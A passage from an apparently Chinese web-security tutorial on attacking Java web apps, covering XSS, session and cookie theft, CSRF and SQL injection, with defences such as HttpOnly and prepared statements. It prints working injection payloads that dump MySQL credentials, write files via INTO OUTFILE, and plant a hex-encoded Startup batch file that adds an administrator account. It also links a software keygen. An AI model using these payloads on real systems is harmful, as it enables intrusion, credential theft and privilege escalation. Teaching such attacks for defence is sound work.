脚本,导致我们通过伪造的请求头直接存储到数据库。 XSS.tw 平台由于没有对请求头处理导致可以通过 XSS 屌丝逆袭高富黑。 刚回来的时候被随风玩爆菊了。通过修改请求头信息为 XSS 脚本,xss 那平台直接接收并信 任参数,因为很少有人会蛋疼的去怀疑请求头的信息,所以这里造成了存储型的 XSS。只要 别人一登录 xss 就会自动的执行我们的 XSS 代码了。 Xss.tw 由于 ID 很容易预测,所以很轻易的就能够影响到所有用户: 第 24 页 于是某一天就有了所有的 xss.tw 用户被随风那 2 货全部弹了 www.gov.cn: Java 里面伪造 Http 请求头: 代码就不贴了,在发送请求的时候设置setRequestProperty 就行了,如: URL realUrl = new URL(url); 第 25 页 URLConnection connection = realUrl.openConnection(); connection.setConnectTimeout(5000);//连接超时 connection.setReadTimeout(5000);// 读取超时 connection.setRequestProperty("accept", "*/*"); connection.setRequestProperty("connection", "Keep-Alive"); (………………………..) Test Servlet: 2、Session Session 是存储于服务器内存当中的会话,我们知道 Http 是无状态协议,为了支持客户 端与服务器之间的交互,我们就需要通过不同的技术为交互存储状态,而这些不同的技术就 是 Cookie 和 Session 了。 第 26 页 设置一个 session: session.setAttribute("name",name);//从请求中获取用户的 name 放到 session 当中 session.setAttribute("ip",request.getRemoteAddr());//获取用户请求 Ip 地址 out.println("Session 设置成功."); 直接获取 session 如下图可以看到我们用 FireFox 和 Chrome 请求同一个 URL 得到的 SessionId 并不一样,说明 SessionId 是唯一的。一旦 Session 在服务器端设置成功那么我 们在此次回话当中就可以一直共享这个 SessionId 对应的 session 信息,而 session 是有 有效期的,一般默认在 20-30 分钟,你会看到 xss 平台往往有一个功能叫 keepSession, 每过一段时间就带着 sessionId 去请求一次,其实就是在保持 session 的有效不过期。 Session 生命周期(从创建到销毁): 1、session 的默认过期时间是 30 分钟,可修改的最大时间是 1440 分钟(1440 除以 60=24 小时=1 天)。 2、服务器重启或关闭 Session 失效。 第 27 页 注: 浏览器关闭其实并不会让 session 失效!因为 session 是存储在服务器端内存当中的。 客户端把浏览器关闭了服务器怎么可能知道?正确的解释或许应该是浏览器关闭后不会去 记忆关闭前客户端和服务器端之间的 session 信息且服务器端没有将 sessionId 以 Cookie 的方式写入到客户端缓存当中,重新打开浏览器之后并不会带着关闭之前的 sessionId 去访问服务器 URL,服务器从请求中得不到 sessionId 自然给人的感觉就是 session 不存在(自己理解的)。 当我们关闭服务器时Tomcat 会在安装目录\work\Catalina\localhost\项目名目录下建立 SESSIONS.ser 文件。此文件就是 Session 在 Tomcat 停止的时候 持久化到硬盘中的文件. 所 有当前访问的用户Session 都存储到此文件中. Tomcat 启动成功后.SESSIONS.ser 又会反序 列化到内存中,所以启动成功后此文件就消失了. 所以正常情况下 从启 Tomcat 用户是不需 要登录的. 注意有个前提.就是存储到 Session 里面的 user 对象所对应的 User 类必须要序列 化才可以。(摘自:http://alone-knight.iteye.com/blog/1611112) SessionId 是神马?有什么用? 我们不妨来做一个偷取 sessionId 的实验: 首 先 访 问 : http://localhost/Test/SessionTest?action=setSession&name=selina 完 成 session 的创建,如何建立就不解释了如上所述。 同时开启 FireFox 和 Chrome 浏览器设置两个 Session: 我们来看下当前用户的请求头分别是怎样的: 第 28 页 我们依旧用 TamperData 来修改请求的 Cookie 当中的 jsessionId,下面是见证奇迹的时刻: 我要说的话都已经在图片当中的文字注释里面了,伟大的 Xss 黑客们看明白了吗?你盗 取的也许是 jsessionId(Java 里面叫 jsessionId),而不只是 cookie。那么假设我们的 Session 被设置得特别长那么这个 SessionId 就会长时间的保留,而为 Xss 攻击提供了得天独厚的条 件。而这种 Session 长期存在会浪费服务器的内存也会导致:SessionFixation 攻击! 如何应对 SessionFixation 攻击: 1、用户输入正确的凭据,系统验证用户并完成登录,并建立新的会话 ID。 2、Session 会话加 Ip 控制 3、加强程序员的防范意识:写出明显 xss 的程序员记过一次,写出隐晦的 xss 的程序员警 告教育一次,连续查出存在 3 个及其以上 xss 的程序员理解解除劳动合同(哈哈,开玩笑了。)。 3、Cookie Cookie 是以文件形式[缓存在客户端]的凭证(精简下为了通俗易懂),cookie 的生命周期 主要在于服务器给设置的有效时间。如果不设置过期时间,则表示这个 cookie 生命周期为 浏览器会话期间,只要关闭浏览器窗口,cookie 就消失了。 这次我们以 IE 为例: 第 29 页 我们来创建一个 Cookie: if(!"".equals(name)){ Cookie cookies = new Cookie("name",name);//把用户名放到 cookie cookies.setMaxAge(60*60*60*12*30) ;//设置 cookie 的有效期 // c1.setDomain(".ahack.net");//设置有效的域 response.addCookie(cookies);//把 Cookie 保存到客户端 out.println("当前登录:"+name); }else { out.println("用户名不能为空!"); } 有些大牛级别的程序员直接把帐号密码明文存储到客户端的 cookie 里面去,不得不佩 服其功力深厚啊。客户端直接记事本打开就能看到自己的帐号密码了。 第 30 页 继续读取 Cookie: 我想 cookie 以明文的形式存储在客户端我就不用解释了吧?文件和数据摆在面前! 盗取 cookie 的最直接的方式就是 xss,利用 IE 浏览器输出当前站点的 cookie: javascript:document.write(document.cookie) 首先我们用 FireFox 创建 cookie: 第 31 页 然后 TamperData 修改 Cookie: 一般来说直接把 cookie 发送给服务器服务器,程序员过度相信客户端 cookie 值那么我 们就可以在不用知道用户名和密码的情况下登录后台,甚至是 cookie 注入。jsessionid 也会 放到 cookie 里面,所以拿到了 cookie 对应的也拿到了 jsessionid,拿到了 jsessionid 就拿到 了对应的会话当中的所有信息,而如果那个 jsessionid 恰好是管理员的呢? 4、HttpOnly 上面我们用 javascript:document.write(document.cookie),通过 document 对象能够拿 到存储于客户端的 cookie 信息。HttpOnly 设置后再使用 document.cookie 去取 cookie 值就 不行了。 通过添加 HttpOnly 以后会在原 cookie 后多出一个 HttpOnly; 普通的 cookie 设置: Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H; 加上HttpOnly后的Cookie: Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H; HttpOnly; (参考 YearOfSecurityforJava) 在 JAVAEE6 的 API 里面已经有了直接设置 HttpOnly 的方法了: 第 32 页 API 的对应说明: 大致的意思是:如果 isHttpOnly 被设置成 true,那么 cookie 会被标识成 HttpOnly.能够 在一定程度上解决跨站脚本攻击。 Since: Servlet 3.0 也就是说在 servlet3.0 开始才支持直接通过 setHttpOnly 设置,其实就算不 是 JavaEE6 也可以在 set Cookie 的时候加上 HttpOnly; 让浏览器知道你的 cookie 需要以 HttpOnly 方式管理。而在新的 Servlet 当中不只是能够通过手动的去 setHttpOnly 还可以通过在 web.xml 当中添加 cookie-config(HttpOnly 默认开 第 33 页 启,注意配置的是 web-app_3_0.xsd): <?xml version="1.0" encoding="UTF-8"?> <web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"> <session-config> <cookie-config> <http-only>true</http-only> <secure>true</secure> </cookie-config> </session-config> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 还可以设置下session有效期(30分):<session-timeout>30</session-timeout> 5、CSRF (跨站域请求伪造) CSRF(Cross Site Request Forgery, 跨站域请求伪造)用户请求伪造,以受害人的身份构造恶意请 求。(经典解析参考:http://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/ ) CSRF 攻击的对象 在讨论如何抵御 CSRF 之前,先要明确 CSRF 攻击的对象,也就是要保护的对象。从以上的例子 可知,CSRF 攻击是黑客借助受害者的 cookie 骗取服务器的信任,但是黑客并不能拿到 cookie,也看不 到 cookie 的内容。另外,对于服务器返回的结果,由于浏览器同源策略的限制,黑客也无法进行解析。 因此,黑客无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述 的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。所以,我们要保护的对象是那些可以 直接产生数据改变的服务,而对于读取数据的服务,则不需要进行 CSRF 的保护。比如银行系统中转账 的请求会直接改变账户的金额,会遭到 CSRF 攻击,需要保护。而查询余额是对金额的读取操作,不会 改变数据,CSRF 攻击无法解析服务器返回的结果,无需保护。\ Csrf 攻击方式: 对象:A:普通用户,B:攻击者 1、假设 A 已经登录过 xxx.com 并且取得了合法的 session,假设用户中心地址为: http://xxx.com/ucenter/index.do 2、B 想把 A 余额转到自己的账户上,但是 B 不知道 A 的密码,通过分析转账功能发现 xxx.com 网站存在 CSRF 攻击漏洞和 XSS 漏洞。 第 34 页 3、B 通过构建转账链接的 URL 如:http://xxx.com/ucenter/index.do?action=transfer&money=100000 &toUser=(B 的帐号),因为 A 已经登录了所以后端在验证身份信息的时候肯定能取得 A 的信息。B 可以通 过 xss 或在其他站点构建这样一个 URL 诱惑 A 去点击或触发 Xss。一旦 A 用自己的合法身份去发送一个 GET 请求后 A 的 100000 元人民币就转到 B 账户去了。当然了在转账支付等操作时这种低级的安全问题一 般都很少出现。 防御 CSRF: 1、 验证 HTTP Referer 字段 2、 在请求地址中添加 token 并验证 3、 在 HTTP 头中自定义属性并验证 4、加验证码 (copy 防御 CSRF 毫无意义,参考上面给的 IBM 专题的 URL) Token 最常见的做法是加 token,Java 里面典型的做法是用 filter:https://code.google.com/p/csrf-filter/(链接 由 plt 提供,源码什么的在:http://ahack.iteye.com/blog/1900708) 第 35 页 攻击 JavaWeb 应用[3] -SQL 注入[1] -园长 MM 注:本节重点在于让大家熟悉各种 SQL 注入在 JAVA 当中的表现,本想带点 ORM 框架实例,但是与其几乎无异,最近在学 习 MongoDb,挺有意思的,后面有机会给大家补充相关。 1、JDBC 和 ORM JDBC: JDBC(Java Data Base Connectivity,java 数据库连接)是一种用于执行 SQL 语句的 Java API, 可以为多种关系数据库提供统一访问。 JPA: JPA 全称 Java Persistence API.JPA 通过 JDK 5.0 注解或 XML 描述对象-关系表的映射关系, 并将运行期的实体对象持久化到数据库中。是一个 ORM 规范。Hibernate 是 JPA 的具体 实现。但是 Hibernate 出现的时间早于 JPA(因为 Hibernate 作者很狂,sun 看不惯就叫 他去指定 JPA 标准去了哈哈)。 ORM: 对象关系映射(ORM)目前有 Hibernate、OpenJPA、TopLink、EclipseJPA 等实现。 JDO: JDO(Java Data Object )是 Java 对象持久化的新的规范,也是一个用于存取某种数据仓库 中的对象的标准化 API。没有听说过 JDO 没有关系,很多人应该知道 PDO,ADO 吧?概念一 样。 关系: JPA 可以依靠 JDBC 对 JDO 进行对象持久化,而 ORM 只是 JPA 当中的一个规范,我们常 见的 Hibernate、Mybatis 和 TopLink 什么的都是 ORM 的具体实现。 概念性的东西知道就行了,能记住最好。很多东西可能真的是会用,但是要是让你去定 义或者去解释的时候发现会有些困难。重点了解 JDBC 是个什么东西,知道 Hibernate 和 Mybatis 是 ORM 的具体的实现就够了。 Object: 在 Java 当中 Object 类(java.lang.object)是所有 Java 类的祖先。每个类都使用 Object 作 第 36 页 为超类。所有对象(包括数组)都实现这个类的方法。所以在认识 Java 之前应该有一个对 象的概念。 关系型数据库和非关系型数据库: 数据库是按照数据结构来组织、存储和管理数据的仓库。 关系型数据库,是建立在关系模型基础上的数据库。关系模型就是指二维表格模型,因 而一个关系型数据库就是由二维表及其之间的联系组成的一个数据组织。当前主流的关系 型数据库有 Oracle、DB2、Microsoft SQL Server、Microsoft Access、MySQL 等。 NoSQL,指的是非关系型的数据库。随着互联网 web2.0 网站的兴起,传统的关系数据 库在应付 web2.0 网站,特别是超大规模和高并发的 SNS 类型的 web2.0 纯动态网站已经显 得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了 非常迅速的发展。(1、High performance - 对数据库高并发读写的需求、2、Huge Storage - 对海量数据的高效率存储和访问的需求。3、High Scalability && High Availability- 对 数据库的高可扩展性和高可用性的需求)常见的非关系型数据库:Membase、MongoDB、 Hypertable、Apache Cassandra、CouchDB 等。 常见的 NoSQL 数据库端口: MongoDB:27017、28017、27080 CouchDB:5984 Hbase:9000 Cassandra:9160 Neo4j:7474 Riak:8098 在引入这么多的概念之后我们今天的故事也就要开始了,概念性的东西后面慢慢来。引 入这些东西不只仅仅是为了讲一个 SQL 注入,后面很多地方可能都会用到。 传统的 JDBC 大于要经过这么些步骤完成一次查询操作,java 和数据库的交互操作: 1. 准备 JDBC 驱动 2. 加载驱动 3. 获取连接 4. 预编译 SQL 5. 执行 SQL 6. 处理结果集 7. 依次释放连接 sun 只是在 JDBC 当中定义了具体的接口,而 JDBC 接口的具体的实现是由数据库提供厂 商去写具体的实现的, 比如说 Connection 对象,不同的数据库的实现方式是不同的。 使用传统的 JDBC 的项目已经越来越少了,曾经的 model1 和 model2 已经被 MVC 给代 替了。如果用传统的 JDBC 写项目你不得不去管理你的数据连接、事物等。而用 ORM 框架 一般程序员只用关心执行 SQL 和处理结果集就行了。比如 Spring 的 JdbcTemplate、Hibernate 的 HibernateTemplate 提供了一套对 dao 操作的模版,对 JDBC 进行了轻量级封装。开发人员 只需配置好数据源和事物一般仅需要提供一个 SQL、处理 SQL 执行后的结果就行了,其他的 事情都交给框架去完成了。 第 37 页 2、经典的 JDBC 的 Sql 注入 Sql 注入产生的直接原因是拼凑 SQL,绝大多数程序员在做开发的时候并不会去关注 SQL 最终是怎么去运行的,更不会去关注 SQL 执行的安全性。因为时间紧,任务重完成业务需 求就行了,谁还有时间去管你什么 SQL 注入什么?还不如喝喝茶,看看妹子。正是有了这 种懒惰的程序员 SQL 注入一直没有消失,而这当中不乏一些大型厂商。有的人可能心中有 防御 Sql 注入意识,但是在面对复杂业务的时候可能还是存在侥幸心理,最近还是被神奇路 人甲给脱裤了。为了处理未知的 SQL 注入攻击,一些大厂商开始采用 SQL 防注入甚至是使 用某些厂商的 WAF。 JDBCSqlInjectionTest.java类: package org.javaweb.test; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; 第 38 页 public class JDBCSqlInjectionTest { /** * sql注入测试 * @param id */ public static void sqlInjectionTest(String id){ String MYSQLDRIVER = "com.mysql.jdbc.Driver";//MYSQL驱动 //Mysql连接字符串 String MYSQLURL = "jdbc:mysql://localhost:3306/wooyun?user=root&password=caonimei&useUn icode=true&characterEncoding=utf8&autoReconnect=true"; String sql = "SELECT * from corps where id = "+id;//查询语句 try { Class.forName(MYSQLDRIVER);//加载MYSQL驱动 Connection conn = DriverManager.getConnection(MYSQLURL);// 获取数据库连接 PreparedStatement pstt = conn.prepareStatement(sql); ResultSet rs = pstt.executeQuery(); System.out.println("SQL:"+sql);//打印SQL while(rs.next()){//结果遍历 System.out.println("ID:"+rs.getObject("id"));//ID System.out.println("厂 商:"+rs.getObject("corps_name"));//输出厂商名称 System.out.println("主站"+rs.getObject("corps_url"));// 厂商URL } rs.close();//关闭查询结果集 pstt.close();//关闭PreparedStatement conn.close();//关闭数据连接 } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } } public static void main(String[] args) { sqlInjectionTest("2 and 1=2 union select version(),user(),database(),5 ");//查询id为2的厂商 } } 现在有以下 Mysql 数据库结构(后面用到的数据库结构都是一样): 第 39 页 看下图代码是一个取数据和显示数据的过程。第 20 行就是典型的拼 SQL 导致 SQL 注入, 现在我们的注入将围绕着 20 行展开: 当传入正常的参数”2”时输出的结果正常: 第 40 页 当参数为 2 and 1=1 去查询时,由于 1=1 为 true 所以能够正常的返回查询结果: 当传入参数 2 and 1=2 时查询结果是不存在的,所以没有显示任何结果。Tips:在某些场 景下可能需要在参数末尾加注释符如:“--”、“#”,“/**”, 使用注释符号的作用在于注释掉 从当前代码末尾到 SQL 末尾的语句,如果不使用注释符号可能程序在传入的 SQL 后还有拼 接其他语句。--在 oracle 和 mysql 都可用,mysql 还可以用#、/**。 执行 order by 4 正常显示数据 order by 5 错误说明查询的字段数是 4。 第 41 页 Order by 5 执行后直接爆了一个 SQL 异常: 用联合查询执行:2 and 1=2 union select version(),user(),database(),5 第 42 页 小结论: 通过控制台执行 SQL 注入可知 SQL 注入跟平台无关、跟开发语言关系也不大,而是跟 数据库有关。 知道了拼 SQL 肯定是会造成 SQL 注入的,那么我们应该怎样去修复上面的代码去防止 SQL 注入呢?其实只要把参数经过预编译就能够有效的防止 SQL 注入了,我们已经依旧提交 SQL 注入语句会发现之前能够成功注入出数据库版本、用户名、数据库名的语句现在无法带 入数据库查询了: 第 43 页 3、PreparedStatement 实现防注入 SQL 语句被预编译并存储在 PreparedStatement 对象中。然后可以使用此对象多次高效 地执行该语句。 Class.forName(MYSQLDRIVER);//加载MYSQL驱动 Connection conn = DriverManager.getConnection(MYSQLURL);//获取数据库连接 String sql = "SELECT * from corps where id = ? ";//查询语句 PreparedStatement pstt = conn.prepareStatement(sql);//获取预编译的 PreparedStatement对象 pstt.setObject(1, id);//使用预编译SQL ResultSet rs = pstt.executeQuery(); 从Class.forName反射去加载MYSQL启动开始,到通过DriverManager去获取一个 本地的连接数据库的对象。而拿到一个数据连接以后便是我们执行SQL与事物处理的过程。 当我们去调用PreparedStatement的方法如:executeQuery或executeUpdate等都 会通过mysql的JDBC实现对Mysql数据库做对应的操作。Java里面连接数据库的方式一般 来说都是固定的格式,不同的只是实现方式。所以只要我们的项目中有加载对应数据库的 jar包我们就能做相应的数据库连接。而在一个Web项目中如果/WEB-INF/lib下和对应容 器的lib下只有mysql的数据库连接驱动包,那么就只能连接MYSQL了,这一点跟其他语言 有点不一样,不过应该容易理解和接受,假如php.ini不开启对mysql、mssql、oracle 等数据库的支持效果都一样。修复之前的SQL注入的方式显而易见了,用“?”号去占位, 预编译SQL的时候会自动根据pstt里的参数去处理,从而避免SQL注入。 String sql = "SELECT * from corps where id = ? "; pstt = conn.prepareStatement(sql);//获取预编译的PreparedStatement对象 pstt.setObject(1, id);//使用预编译SQL ResultSet rs = pstt.executeQuery(); 在通过conn.prepareStatement去获取一个PreparedStatement便会以预编译 去处理查询SQL,而使用conn.createStatement得到的只是一个普通的Statement不 第 44 页 会去预编译SQL语句,但Statement执行效率和速度都比prepareStatement要快前者是 后者的父类。 从类加载到连接的关闭数据库厂商根据自己的数据库的特性实现了 JDBC 的接口。类 加载完成之后才能够继续调用其他的方法去获取一个连接对象,然后才能过去执行 SQL 命令、返回查询结果集(ResultSet)。Mysql 的 Driver:public class Driver extends NonRegisteringDriver implements java.sql.Driver{} 在加载驱动处下断点(22 行),可以跟踪到 mysql 的驱动连接数据库到获取连接的整个 过程。 第 45 页 F5 进入到 Driver 类: 驱动加载完成后我们会得到一个具体的连接的对象 Connection,而这个 Connection 包含 了大量的信息,我们的一切对数据库的操作都是依赖于这个 Connection 的: 第 46 页 conn.prepareStatement(sql);在获取PreparedStatement对象的时进入会进 入到Connection类的具体的实现类ConnectionImpl类。然后调用其 prepareStatement方法。 而nativeSQL方法调用了EscapeProcessor类的静态方法escapeSQL进行转意,返 回的自然是转意后的SQL。预编译默认是在客户端的用 com.mysql.jdbc.PreparedStatement本地SQL拼完SQL,最终mysql数据库收到的 SQL是已经替换了“?”后的SQL,执行并返回我们查询的结果集。 从上而下大概明白了预编译做了个什么事情,并不是用了PreparedStatement这个 对象就不存在SQL注入而是跟你在预编译前有没有拼凑SQL语句,String sql = “select * from xxx where id = ”+id//这种必死无疑。 第 47 页 Web中绕过SQL防注入: Java 中的 JSP 里边有个特性直接 request.getParameter("Parameter");去获取请求的数据是 不分 GET 和 POST 的,而看过我第一期的同学应该还记得我们的 Servlet 一般都是两者合一的 方式去处理的,而在 SpringMVC 里面如果不指定传入参数的方式默认是 get 和 post 都可以 接受到。 SpringMvc 如: @RequestMapping(value="/index.aspx",method=RequestMethod.GET) public String index(HttpServletRequest request,HttpServletResponse response){ System.out.println("------------"); return "index"; } 上面默认指定只接收 GET 请求,而大多数时候是很少有人去指定请求的方式的。说这么多 其实就是为了告诉大家我们可以通过 POST 方式去绕过普通的 SQL 防注入检测! Web 当中最容易出现 SQL 注入的地方: 1、 常见的文章显示、分类展示。 2、 用户注册、用户登录处。 3、 关键字搜索、文件下载处。 4、 数据统计处(订单查询、上传下载统计等)经典的如 select 下拉框注入。 5、 逻辑略复杂处(密码找回以及跟安全相关的)。 关于注入页面报错: 如果发现页面抛出异常,那么得从两个方面去看问题,传统的SQL注入在页面报错以后 肯定没法直接从页面获取到数据信息。如果报错后SQL没有往下执行那么不管你提交什么 SQL注入语句都是无效的,如果只是普通的错误可以根据错误信息进行参数修改之类继续 SQL注入。 假设我们的id改为int类型: int id = Integer.parseInt(request.getParameter("id")); 第 48 页 程序在接受参数后把一个字符串转换成int(整型)的时候发生异常,那么后面的代码是 不会接着执行的哦,所以SQL注入也会失败。 Spring中如何安全的拼SQL(JDBC同理): 对于常见的SQL注入采用预编译就行了,但是很多时候简单的条件较多或较为复杂的时 候很多人都想偷懒拼SQL总是似乎免不了的。 写了个这样的多条件查询条件自动匹配: public static String SQL_FORUM_CLASS_SETTING = "SELECT * from bjcyw_forum_forum where 1=1 "; public List<Map<String, Object>> getForumClass(Map<String,Object> forum) { StringBuilder sql=new StringBuilder(SQL_FORUM_CLASS_SETTING); List<Object> ls=new ArrayList<Object>(); if (forum.size()>0) { for (String key : forum.keySet()) { Object obj[]=(Object [])forum.get(key); sql = SqlHelper.selectHelper(sql, obj); if ("like".equalsIgnoreCase(obj[2].toString().trim())) { ls.add("%"+obj[1]+"%"); }else { ls.add(obj[1]); } } } return jdbcTemplate.queryForList(sql.toString(),(Object[])ls.toArray()); } 第 49 页 selectHelper方法: public static StringBuilder selectHelper(StringBuilder sql, Object obj[]){ if (Constants.SQL_HELPER_LIKE.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" like ?"); }else if (Constants.SQL_HELPER_EQUAL.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" = ?"); }else if (Constants.SQL_HELPER_GREATERTHAN.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" > ?"); }else if (Constants.SQL_HELPER_LESSTHAN.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" < ?"); }else if (Constants.SQL_HELPER_NOTEQUAL.equalsIgnoreCase(obj[2].toString())) { sql.append(" AND "+obj[0]+" != ?"); } return sql; } 信任客户端的参数一切参数只匹配查询条件,把参数和条件自动装配到框架。如果客户 端提交了危险的SQL也没有关系在query的时候是会预编译。 (不贴了原文在:http://zone.wooyun.org/content/2448) 4、转战 Web 平台 看完了 SQL 注入在控制台下的表现,如果对上面还不甚清楚的同学继续看下面的 Web 注入。 首先我们了解下 Web 当中的 SQL 注入产生的原因: 第 50 页 Mysql 篇: 数据库结构上面已经声明,现在有以下 Jsp 页面,逻辑跟上面注入一致: 浏览器访问:http://localhost/SqlInjection/index.jsp?id=1 第 51 页 上面我们已经知道了查询的字段数是 4,现在构建联合查询,其中的 1,2,3 只是我们用来 占位查看字段在页面对应的具体的输出。在 HackBar 执行我们的 SQL 注入,查看效果和执行 情况: Mysql 查询和注入技巧: 只要是从事渗透测试工作的同学或者对 Web 比较喜爱的同学强荐大家学习下 SQL 语句 和 Web 开发基础,SQL 管理客户端有一个神器叫 Navicat。支持 MySQL, SQL Server, SQLite, Oracle 和 PostgreSQL databases。官方下载地址:http://www.navicat.com/download 不过需要注册,注册机:http://pan.baidu.com/share/link?shareid=271653&uk=1076602916 其 次是下载吧有全套的下载。 第 52 页 似乎很多人都知道 Mysql 有个数据库叫 information_schema 里面存储了很多跟 Mysql 有关的信息,但是不知道里面具体都有些什么,有时间大家可以抽空看下。Mysql 的 sechema 都存在于此,包含了字段、表、元数据等各种信息。也就是对于 Mysql 来说创建一张表后对 应的表信息会存储到 information_schema 里面,而且可以用 SQL 语句查询。 使用 Navicat 构建 SQL 查询语句: 当我们在 SQL 注入当中找到用户或管理员所在的表是非常重要的,而当我们想要快速 找到跟用户相关的数据库表时候在 Mysql 里面就可以合理的使用 information_schema 去查 询。构建 SQL 查询获取所有当前数据库当中数据库表名里面带有 user 关键字的演示: 第 53 页 查询包含 user 关键字的表名的结果: 假设已知某个网站用户数据非常大,我们可以通过上面构建的 SQL 去找到对应可能存 在用户数据信息的表。查询 Mysql 所有数据库中所有表名带有 user 关键字的表,并且按照 表的行数降序排列: SELECT i.TABLE_NAME,i.TABLE_ROWS FROM information_schema.`TABLES` AS i WHERE i.TABLE_NAME LIKE '%user%' ORDER BY i.TABLE_ROWS DESC 查只在当前数据库查询: SELECT i.TABLE_NAME,i.TABLE_ROWS FROM information_schema.`TABLES` AS i WHERE i.TABLE_NAME LIKE '%user%' AND i.TABLE_SCHEMA = database() ORDER BY i.TABLE_ROWS DESC 查询指定数据库: 第 54 页 查询字段当中带有 user 关键字的所有的表名和数据库名: SELECT i.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAME FROM information_schema.`COLUMNS` AS i WHERE i.COLUMN_NAME LIKE '%user%' 第 55 页 CONCAT: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1 GROUP_CONCAT http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1 注入点友情备份: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt' 注入在windows下默认是E:\如果用”\”去表示路径的话需要转换成E:\\而更方便的方式是直接 用/去表示即E:/。 当我们知道WEB路径的情况下而又有outfile权限直接导出数据库中的用户 信息,连getshell都省了。 第 56 页 而如果是在一些极端的情况下无法直接outfile我们可以合理的利用concat和 GROUP_CONCAT去把数据显示到页面,如果数据量特别大,我们可以用concat加上limit去控 制显示的数量。比如每次从页面获取几百条数据?写一个工具去请求构建好的SQL注入点然 后把页面的数据取下来,那么数据库的表信息也可以直接从注入点全部取出来。 注入点root权限提权: 1、写启动项: 这个算是非常简单的了,直接写到windows的启动目录就行了,我测试的系统是 windows7直接写到:C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目录就行了。 用HackBar去请求一下链接就能过把bat写入到我们的windows的启动菜单了,不过得注 意的是360那个狗兔崽子: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67 726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat' 第 57 页 2、失败的注入点UDF提权尝试: MYSQL 提权的方式挺多的,并不局限于 udf、mof、写 windows 启动目录、SQL 语句替 换 sethc 实现后门等,这里以 udf 为例,其实 udf 挺麻烦的,如果麻烦的东东你都能搞定, 简单的自然就能过搞定了。 在进行 mysql 的 udf 提权的时候需要注意的是 mysql 的版本,mysql5.1 以下导入到 windows 目录就行了,而 mysql<=5.1 需要导入到插件目录。我测试的是 Mysql 5.5.27 我们的 首要任务就是找到 mysql 插件路径。 http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,@@plugin_dir 获取插件目录方式: select @@plugin_dir select @@basedir show variables like ‘%plugins%’ 通过 MYSQL 预留的变量很轻易的就找到了 mysql 所在目录,那我们需要把 udf 导出的 绝对路径就应该是:D:/install/dev/mysql5.5/lib/plugin/udf.dll。现在我们要做的就是怎样通过 SQL 注入去把这 udf 导出到上述目录了。 我先说下我是怎么从错误的方法到正确导入的一个过程吧。首先我执行了这么一个 第 58 页 SQL: SELECT * from corps where id = 1 and 1=2 union select '','','',(CONVERT(0xudf 的十六进 制 ,CHAR)) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll',因为在命令行或执行单 条语句的时候转换成 char 去 dumpfile 的时候是可以成功导出二进制文件的。 我们用浏览器浏览网页的时候都是以 GET 方式去提交的,而如果我用 GET 请求去传这 个十六进制的 udf 的话显然会超过 GET 请求的限制,于是我简单的构建了一个 POST 请求去 把一个 110K 的 0x 传到后端。 用 hackbar 去发送一个 post 请求发现失败了,一定是我打开方式不对,呵呵。随手写了 个表单提交下: 下载地址: http://pan.baidu.com/share/link?shareid=1711769621&uk=1076602916 第 59 页 提交表单以后发现文件是写进去了,但是为什么就只有 84 字节捏? 难道是数据传输的时候被截断了?不至于吧,于是用 navicat 执行上面的语句: 我似乎傻逼了,因为查询结果还是只有 84 字节,结果显然不是我想要的。84 字节,不 带这么坑的。一计不成又生二计。 不让我直接 dumpfile 那我间接的去写总行吧? 第 60 页 1 and 1=2 union select '','','',0xUDF 转换后的 16 进制 INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'发现格式不对,给 hex 加上单引号以字符串 方式写入试下: 1 and 1=2 union select '','','',’0xUDF 转换后的 16 进制’ INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt' 这次写入的起码是 hex 了吧,再 load_file 到查询里面不就行了吗?我们知道 load_file 得到的肯定是一个 blob 吧。 第 61 页 那么在注入点这么去构建一下不就行了: 其实这都已经二到家了,这跟第一次提交的数据根本就没有两样。Load file 在这里依旧 被转换成了 0x,我想这不行的话那么应该就只能在 blob 字段去 load_file 才能成功吧,因为 现在 load 到了一个字段类型是 text 的位置里面。估计是被当字符串处理了,但是很显然是 没法去找个 blob 的字段的,(用上面去 information_schema 去找应该能找到)。也就是说现在 需要的是一个 blob 去临时的存储一下。又因为我们知道 MYSQL 是不支持多行查询的,所以 我们根本就没有办法去建表(想过 copy 查询建表,但是显然是行不通的)。 这不科学,一定是打开方式不对。CAST 和 CONVERT 转换成 CHAR 都不行。能转换成 blob 之类的吗?CONVERT(0xsbsbsb,BLOB)发现失败了,把 